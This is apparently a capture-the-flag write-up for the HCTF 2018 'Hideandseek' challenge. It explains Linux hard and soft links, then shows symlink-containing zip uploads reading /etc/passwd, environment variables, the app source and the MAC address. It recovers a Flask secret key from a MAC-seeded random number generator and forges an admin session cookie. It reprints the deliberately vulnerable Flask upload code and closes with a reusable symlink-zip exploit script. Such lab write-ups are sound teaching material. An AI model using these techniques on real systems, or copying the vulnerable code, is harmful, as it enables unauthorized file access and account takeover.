BUU [HCTF 2018]Hideandseek
Test points:
- Soft link to read arbitrary files
- FlaskFakesession
/proc/self/environ
file obtains the list of environment variables of the current process- Pseudo-random number seed generated by
random.seed()
- MAC address (stored in
/sys/class/net/eth0/address
file)
I encountered soft connections during the national competition. It is a worry to learn about it again this time.
First, let’s introduce what a soft connection is.
Linux includes two types of links: Hard Link
and Soft Link
. Soft links are also called symbolic links.
[hard connection]
Hard connections refer to connections through index nodes. In the Linux file system, files stored in disk partitions are assigned a number regardless of their type, called an Inode Index. In Linux, multiple file names pointing to the same index node exist. Generally this connection is a hard connection. The function of hard link is to allow a file to have multiple valid path names, so that users can establish hard links to important files to prevent “accidental deletion”. The reason for this is as mentioned above, because there is more than one connection to the index node of the directory. Deleting only one connection does not affect the index node itself and other connections. Only when the last connection is deleted, the data blocks of the file and the directory connections will be released. In other words, the condition for the file to be truly deleted is that all hard-linked files related to it are deleted. To put it bluntly, a hard link is a pointer pointing to the file index node, and the system does not reallocate the inode for it.
【Soft connection】
Soft link is a commonly used command in Linux. Its function is to establish a different link for a certain file in another location. The practical application is: when we need to use the same file in different directories, we do not need to put a file that must be the same in every required directory. We only need to use ln< in other directories. /code> command link (link) is enough, there is no need to repeatedly occupy disk space.
[index node (inode)]
To understand links, we first have to understand a concept called index node (inode). In the Linux system, the kernel allocates an Inode (index node) to each newly created file. Each file has a unique inode number. We can simply understand the inode as a pointer, which always points to the specific location of this file. storage location. File attributes are stored in the index node. When accessing the file, the index node is copied to the memory, thereby achieving fast access to the file. The system locates each file by index node (rather than file name).
Soft link usage:
Create soft link
ln -s [source file or directory] [destination file or directory]
//The current path to create test leads to the /var/www/test folder ln –s /var/www/test test //Create /var/test to point to the /var/www/test folder ln –s /var/www/test /var/test
Delete soft link
//Delete test rm –rf test
Modify soft link
ln –snf [new source file or directory] [destination file or directory]
This will change the original link address to the new address
//Create a soft link ln –s /var/www/test /var/test //Modify the new path pointed to ln –snf /var/www/test1 /var/test
Commonly used parameters:
-f: Delete the file with the same file name as dist first when linking
-d: Allow system administrators to hard link their own directories
-i: Ask first when deleting files with the same file name as dist
-n: treat dist as a normal file when making soft links
-s: Make a soft link (symbolic link)
-v: Display the file name before linking
-b: Back up files that will be overwritten or deleted during linking
-S SUFFIX: Add the suffix SUFFIX to all backup files
-V METHOD: Specify the backup method
–help: show help information
–version : display version
Start doing the questions.
Only the login function is available on the current page, and other functions will not jump. Try to log in.
It was found that any user password can be used to log in, but only admin cannot be logged in.
After logging in, there is a point to upload files. We are prompted to upload a compressed package with the suffix .zip
.
I randomly uploaded a .php
to test the waters, but found that I could only upload a .zip
compressed package.
Compressed packages can easily make people think of soft links. Try uploading a .zip
compressed package first. There is no echo.
Then upload a compressed package containing a soft link and try to read the /etc/passwd
file.
Enter the command in Linux to create a soft link compressed package.
ln -s /etc/passwd passwd zip -y passwd.zip passwd rm –rf passwd
Then upload, and find that the content of /etc/passwd
on the server is successfully echoed.
In theory, we can also directly read the contents of /flag
. But I tried it and failed. . .
I guess it may be due to insufficient permissions. You need to log in as admin to have permission to read /flag
. How to log in to the admin? After collecting information, I found the session. The server should determine the identity through the session. We need to forge the session. At the same time, it is determined through the session that the flask
framework is used.
Download a tool flask_unsign
and open the terminal in the folder. The tool can only decrypt and blast but not the password, so you have to find it yourself.
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ' Get {<!-- -->'username': '111'}
Forging a session requires secret_key
, try to find the source code.
Because any file has been read through a soft connection, we try to read the /proc/self/environ
file to obtain the environment variable list of the current process, including the environment under flask
variable.
The explanation is as follows, where /proc
is a virtual file system, which stores some special files of the current running status. Through these files, you can view information about the system hardware and currently running processes, and even change some of them. file to change the running state of the kernel, and /environ
is the list of environment variables of the current process.
ln -s /proc/self/environ self zip -y self.zip self rm –rf self
After successfully reading the /proc/self/environ
file.
We noticed UWSGI_INI=/app/uwsgi.ini
. That is, the configuration file of the uwsgi
server, which may contain the source code path.
client -> nginx -> uwsgi -> flask background program (this process is generally used in production)
We make soft link reads in the same way
ln -s /app/uwsgi.ini uwsgi zip -y uwsgi.zip uwsgi rm –rf uwsgi
Obtain the source code path, but there is a problem with the BUU environment. In this way, the source code path read in the competition was /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
. We also used this path to do the questions and continued reading through soft links. Get the source code.
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main zip -y main.zip main rm –rf main
Ctrl + U to see a little more clearly.
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d ' + extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) returnResponse(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='0.0.0.0', debug=True, port=10008)
Browsing the source code, SECRET_KEY
is generated by python's random function random()
, and the seed is uuid.getnode()
. Like PHP, Python's random()
function is also a pseudo-random number. As long as we know what the seed uuid.getnode()
is, we can get the key generated by the random number. SECRET_KEY
is not a problem.
The uuid.getnode()
method in python obtains the hardware address in the form of a 48
bitpositive integer, which is the server's MACaddress.
The current logic is this. MAC address=》Random number seed=》SECRET_KEY=》Fake session=》admin login=》flag.
The MAC address is found to be stored in the /sys/class/net/eth0/address
file, and the soft link reads the file:
ln -s /sys/class/net/eth0/address mac zip -y mac.zip mac rm –rf mac
There are other ways to find the mac address:
c6:1b:39:ac:ff:91
, c61b39acff91
converted to decimal is 217820234055569
Run the key locally and it will come out. Is 76.9034879300039
Open the terminal under the flask_session_cookie_manager3
tool folder in kali.
python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"
GeteyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY
After successfully logging in to the admin account, there is no need to read the flag anymore, just give it directly.
Find a soft connection script:
import os import requests importsys def make_zip(): os.system('ln -s ' + sys.argv[2] + ' test_exp') os.system('zip -y test_exp.zip test_exp') def run(): make_zip() res = requests.post(sys.argv[1], files={<!-- -->'the_file': open('./test_exp.zip', 'rb')}) print(res.text) os.system('rm -rf test_exp') os.system('rm -rf test_exp.zip') if __name__ == '__main__': run()